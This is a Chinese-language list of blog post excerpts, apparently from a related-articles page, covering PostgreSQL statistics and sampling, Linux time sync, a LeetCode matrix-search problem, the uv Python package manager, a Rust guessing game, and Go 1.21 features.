&#x1f449; 点击关注不迷路 &#x1f449; 点击关注不迷路 &#x1f449; 点击关注不迷路 文章大纲 5.1 描述性统计分析&#xff1a;均值、方差与分位数计算实战5.1.1 数据准备与分析目标数据集介绍分析目标 5.1.2 均值计算&#xff1a;从整体到分组分析总体均值计算加权均值…...

【PostgreSQL数据分析实战:从数据清洗到可视化全流程】5.4 数据抽样(简单随机抽样/分层抽样)

&#x1f449; 点击关注不迷路 &#x1f449; 点击关注不迷路 &#x1f449; 点击关注不迷路 文章大纲 PostgreSQL数据分析实战&#xff1a;数据抽样核心技术解析5.4 数据抽样&#xff1a;从简单随机到分层策略的深度实践5.4.1 简单随机抽样&#xff1a;概率均等的基础抽样方法…...

时间同步服务核心知识笔记:原理、配置

一、时间同步服务 在 Linux 系统中&#xff0c;准确的时间至关重要。对于服务器集群&#xff0c;时间同步确保各节点间数据处理和交互的一致性&#xff0c;避免因时间差异导致的事务处理错误、日志记录混乱等问题。在分布式系统中&#xff0c;时间同步有助于协调任务调度、数据…...

Leetcode刷题记录32——搜索二维矩阵 II

题源&#xff1a;https://leetcode.cn/problems/search-a-2d-matrix-ii/description/?envTypestudy-plan-v2&envIdtop-100-liked 题目描述&#xff1a; 思路一&#xff1a; &#x1f4a1; 解题思路&#xff1a;利用矩阵有序特性 双指针法&#xff08;Z 字形搜索&…...

【最新Python包管理工具UV的介绍和安装】

介绍 uv是一个非常快的 Python 包安装程序和 pip 解析器&#xff0c;用 Rust 编写&#xff0c;设计为pip-tools的直接替代品。 以下是官网给出的UV与其他包管理工具解决依赖&#xff08;左&#xff09;和安装包&#xff08;右&#xff09;的对比图。 可以看出UV是一个极快的 P…...

第二章-猜数游戏

猜数游戏 纸上得来终觉浅&#xff0c;绝知此事要躬行。实践才能出真知&#xff0c;因此本文内容将通过一个小项目快速帮我们上手Rust语言。其中可能会出现一些目前还不是很了解的知识&#xff0c;但没事&#xff0c;后续通过学习我们会慢慢了解的&#xff0c;现在我们先体会一…...

Go小技巧易错点100例(二十九)

随着 Go 语言的不断迭代&#xff0c;新版本带来了许多实用的标准库函数&#xff0c;使得代码更加简洁、可读性更强。本篇文章主要介绍 Go 1.21 版本中的一些新特性&#xff0c;涵盖 可变类型比较、slice 最大值与最小值、map 转换为 slice 以及 map 合并 等常见场景&#xff0c…...